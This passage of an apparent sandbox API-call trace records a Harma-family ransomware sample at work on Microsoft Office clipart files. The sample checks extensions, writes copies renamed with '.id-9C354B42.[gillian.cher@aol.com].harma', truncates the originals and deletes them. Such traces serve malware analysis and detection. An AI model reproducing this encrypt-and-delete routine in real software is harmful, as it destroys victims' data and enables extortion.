dwFileAttributes=0x20) returned 1 [0151.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0151.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.982] lstrlenW (lpString=".doc") returned 4 [0151.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.982] lstrlenW (lpString=".docx") returned 5 [0151.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.982] lstrlenW (lpString=".pdf") returned 4 [0151.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.982] lstrlenW (lpString=".xls") returned 4 [0151.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.982] lstrlenW (lpString=".xlsx") returned 5 [0151.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.982] lstrlenW (lpString=".ppt") returned 4 [0151.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.982] lstrlenW (lpString=".zip") returned 4 [0151.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.983] lstrlenW (lpString=".rar") returned 4 [0151.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".bz2") returned 4 [0151.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".7z") returned 3 [0151.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.983] lstrlenW (lpString=".dbf") returned 4 [0151.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.983] lstrlenW (lpString=".1cd") returned 4 [0151.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.983] lstrlenW (lpString=".jpg") returned 4 [0151.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.983] lstrlenW (lpString=".doc") returned 4 [0151.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".docx") returned 5 [0151.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.983] lstrlenW (lpString=".pdf") returned 4 [0151.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".xls") returned 4 [0151.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.983] lstrlenW (lpString=".xlsx") returned 5 [0151.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.984] lstrlenW (lpString=".ppt") returned 4 [0151.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.984] lstrlenW (lpString=".zip") returned 4 [0151.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.984] lstrlenW (lpString=".rar") returned 4 [0151.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".bz2") returned 4 [0151.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".7z") returned 3 [0151.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.984] lstrlenW (lpString=".dbf") returned 4 [0151.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.984] lstrlenW (lpString=".1cd") returned 4 [0151.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0151.984] lstrlenW (lpString=".jpg") returned 4 [0151.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.984] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.984] lstrlenW (lpString="DD01772_.WMF") returned 12 [0151.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.987] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2300) returned 1 [0151.987] CloseHandle (hObject=0x20c) returned 1 [0151.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0151.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.988] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.988] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.989] GetLastError () returned 0x0 [0151.989] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0151.992] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x900, lpOverlapped=0x0) returned 1 [0151.993] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.993] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.994] SetEndOfFile (hFile=0x370) returned 1 [0151.994] CloseHandle (hObject=0x370) returned 1 [0151.994] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.994] SetEndOfFile (hFile=0x20c) returned 1 [0151.996] CloseHandle (hObject=0x20c) returned 1 [0151.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0151.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.997] lstrlenW (lpString=".doc") returned 4 [0151.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString=".docx") returned 5 [0151.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.998] lstrlenW (lpString=".pdf") returned 4 [0151.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString=".xls") returned 4 [0151.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.998] lstrlenW (lpString=".xlsx") returned 5 [0151.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.998] lstrlenW (lpString=".ppt") returned 4 [0151.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.998] lstrlenW (lpString=".zip") returned 4 [0151.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.998] lstrlenW (lpString=".rar") returned 4 [0151.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString=".bz2") returned 4 [0151.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString=".7z") returned 3 [0151.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.998] lstrlenW (lpString=".dbf") returned 4 [0151.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.998] lstrlenW (lpString=".1cd") returned 4 [0151.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.998] lstrlenW (lpString=".jpg") returned 4 [0151.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.999] lstrlenW (lpString=".doc") returned 4 [0151.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString=".docx") returned 5 [0151.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.999] lstrlenW (lpString=".pdf") returned 4 [0151.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString=".xls") returned 4 [0151.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.999] lstrlenW (lpString=".xlsx") returned 5 [0151.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.999] lstrlenW (lpString=".ppt") returned 4 [0151.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.999] lstrlenW (lpString=".zip") returned 4 [0151.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.999] lstrlenW (lpString=".rar") returned 4 [0151.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString=".bz2") returned 4 [0151.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString=".7z") returned 3 [0151.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.999] lstrlenW (lpString=".dbf") returned 4 [0151.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0151.999] lstrlenW (lpString=".1cd") returned 4 [0151.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0152.000] lstrlenW (lpString=".jpg") returned 4 [0152.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.000] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.000] lstrlenW (lpString="DD01793_.WMF") returned 12 [0152.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.001] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3252) returned 1 [0152.001] CloseHandle (hObject=0x20c) returned 1 [0152.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0152.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.001] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.001] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.002] GetLastError () returned 0x0 [0152.002] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0152.005] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0152.007] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.007] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.007] SetEndOfFile (hFile=0x370) returned 1 [0152.007] CloseHandle (hObject=0x370) returned 1 [0152.007] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.007] SetEndOfFile (hFile=0x20c) returned 1 [0152.011] CloseHandle (hObject=0x20c) returned 1 [0152.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.015] lstrlenW (lpString=".doc") returned 4 [0152.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.015] lstrlenW (lpString=".docx") returned 5 [0152.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.015] lstrlenW (lpString=".pdf") returned 4 [0152.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".xls") returned 4 [0152.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.016] lstrlenW (lpString=".xlsx") returned 5 [0152.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.016] lstrlenW (lpString=".ppt") returned 4 [0152.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString=".zip") returned 4 [0152.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.016] lstrlenW (lpString=".rar") returned 4 [0152.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".bz2") returned 4 [0152.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".7z") returned 3 [0152.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString=".dbf") returned 4 [0152.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString=".1cd") returned 4 [0152.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString=".jpg") returned 4 [0152.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.016] lstrlenW (lpString=".doc") returned 4 [0152.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".docx") returned 5 [0152.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.017] lstrlenW (lpString=".pdf") returned 4 [0152.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".xls") returned 4 [0152.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.017] lstrlenW (lpString=".xlsx") returned 5 [0152.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.017] lstrlenW (lpString=".ppt") returned 4 [0152.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.017] lstrlenW (lpString=".zip") returned 4 [0152.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.017] lstrlenW (lpString=".rar") returned 4 [0152.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".bz2") returned 4 [0152.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".7z") returned 3 [0152.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.017] lstrlenW (lpString=".dbf") returned 4 [0152.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.017] lstrlenW (lpString=".1cd") returned 4 [0152.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0152.017] lstrlenW (lpString=".jpg") returned 4 [0152.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.018] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.018] lstrlenW (lpString="ED00010_.WMF") returned 12 [0152.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.018] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1382) returned 1 [0152.018] CloseHandle (hObject=0x20c) returned 1 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.019] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.019] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.020] GetLastError () returned 0x0 [0152.020] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x566, lpOverlapped=0x0) returned 1 [0152.023] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0152.024] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.024] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.024] SetEndOfFile (hFile=0x370) returned 1 [0152.025] CloseHandle (hObject=0x370) returned 1 [0152.025] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.025] SetEndOfFile (hFile=0x20c) returned 1 [0152.027] CloseHandle (hObject=0x20c) returned 1 [0152.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0152.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.029] lstrlenW (lpString=".doc") returned 4 [0152.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString=".docx") returned 5 [0152.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.029] lstrlenW (lpString=".pdf") returned 4 [0152.029] 